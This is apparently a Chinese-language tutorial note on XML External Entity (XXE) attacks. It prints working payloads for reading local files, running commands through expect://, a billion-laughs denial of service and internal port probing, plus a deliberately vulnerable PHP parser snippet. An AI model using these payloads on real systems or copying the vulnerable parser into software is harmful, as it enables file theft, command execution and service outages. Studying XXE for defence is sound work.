XML实体
- 通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
示例代码
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
拒绝服务攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
探测内网端口与攻击内网网站
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
参考